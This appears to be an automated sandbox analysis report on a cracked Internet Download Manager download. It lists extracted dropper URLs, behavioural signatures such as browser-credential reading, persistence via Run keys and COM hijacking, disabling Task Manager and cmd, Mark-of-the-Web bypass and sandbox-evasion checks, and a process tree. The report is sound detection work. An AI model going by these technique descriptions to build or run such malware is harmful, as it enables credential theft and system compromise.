Analysis
- user interaction
yes - max time kernel
1066s - max time network
1022s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
19/08/2026, 03:52
General
- Target Internet Download Manager 6.43 Build 9 Multilingual + Retail [FileCR].zip
- Size 23.8MB
- Sample260819-ee2ybawdkf
- SHA256 3aa21ad0c17d2611cb02a52f23a69517d285ce882c596f2731f08c0e5562fe51
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://www.win-rar.com/fileadmin/winrar-versions/downloader/versions.xml
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-723.exe
Signatures
- Badlisted process makes network request 64 IoCs
Network request originating from process or tool commonly abused by malware.
- Blocks application from running via registry modification 1 IoCs
Adds application to list of disallowed applications.
- Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs
Run Powershell and hide display window.
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Disables cmd.exe use via registry modification 1 IoCs
- Downloads MZ/PE file 1 IoCs
- Drops file in Drivers directory 3 IoCs
- A potential corporate email address has been identified in the URL: [email protected]
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 21 IoCs
- Loads dropped DLL 64 IoCs
- Modifies system executable filetype association 2 TTPs 4 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 4 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops Chrome extension 2 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Installs/modifies Browser Helper Object 2 TTPs 8 IoCs
BHOs are DLL modules which act as plugins for Internet Explorer.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Drops file in System32 directory 16 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 64 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 14 IoCs
- Launches sc.exe 19 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 4 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 16 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 5 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 26 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 33 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 22 IoCs
- Modifies Internet Explorer settings 1 TTPs 64 IoCs
- Modifies data under HKEY_USERS 51 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 51 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- NTFS ADS 8 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 7 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 4 IoCs
- Suspicious behavior: LoadsDriver 18 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 56 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 40 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\Internet Download Manager 6.43 Build 9 Multilingual + Retail [FileCR].zip"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops Chrome extension
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xe4,0x108,0x7fff7af9c728,0x7fff7af9c734,0x7fff7af9c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1652,i,16758517874093173157,13655485144434004237,262144 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1916 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2276,i,4829848456494648967,17205411912403581810,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2284 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,16324495838766490498,18320029274623028483,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2556 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3248,i,2761022233579824224,11012764071986835361,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3280,i,8138744218283266872,1283785123365818921,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3380 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4444,i,12106097182427473274,2540969142833707306,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4460 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4744,i,2448822396065397093,1759111361935443987,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4760 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5532,i,11835010004845303635,3292701155023144289,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5536 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5896,i,440193973094715592,280988825019394524,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5920 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3656,i,11260192993512599804,16429486939132826738,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3624 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3640,i,746549452880126375,10329317282110054294,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3632 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3644,i,1691824888241707427,4769053778899586203,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3536 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5528,i,3682567464671389542,12036076803931306319,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5536 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=3616,i,535411206236948145,11738423840104579550,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3644 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5996,i,10536659341033689452,17705472464373784170,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6200,i,2717958556129771627,10968706422274122821,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3528 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=4960,i,8257864863174875024,1288225301310152791,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3384 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6228,i,3045004163355181390,15554089200504980252,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3664 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4672,i,9411278427500473340,2019386362443770453,262144 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4828 /prefetch:102⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4868,i,18232339646115444036,16289018759110825453,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4840 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=3632,i,14597009144625527001,9357548552906871800,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5864 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5532,i,3829561576109994081,9448917832888761840,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6432 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=3532,i,4280703782254410844,5426483900812543993,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3212 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5936,i,3881786763328432404,7041069198375555679,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6008 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=5952,i,9330738317173147419,15051366197617151909,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5936 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6384,i,8641698339729788960,15011862356026611907,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6240 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6656,i,14913055912122989924,18377967315799613366,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6664 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6708,i,15725019241869188231,10583696184466210362,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6688 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5980,i,5396573438762862567,12480916524456626665,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6760 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6788,i,17129733889765337918,3120262647199941971,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6860 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6872,i,12911284988652439107,15077473822038340206,524288 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6780 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=6912,i,7813243893721437036,17606373680647615359,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6944 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --metrics-shmem-handle=6716,i,13456777442948303224,13427604048604519928,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6748 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --metrics-shmem-handle=7044,i,3686932014200398124,6560190856883598265,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6404 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --metrics-shmem-handle=7224,i,3399840526861674557,2180351724230271545,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4884 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --metrics-shmem-handle=6316,i,4579641264301969821,11035013051768777648,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=7016 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --metrics-shmem-handle=6440,i,2702447736942802946,15726754810811791723,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5860 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --metrics-shmem-handle=6412,i,15330401345713009424,4153836715878937466,2097152 --field-trial-handle=1920,i,15845568938357459591,9869250429491745100,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6612 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff7af9c728,0x7fff7af9c734,0x7fff7af9c7402⤵
-
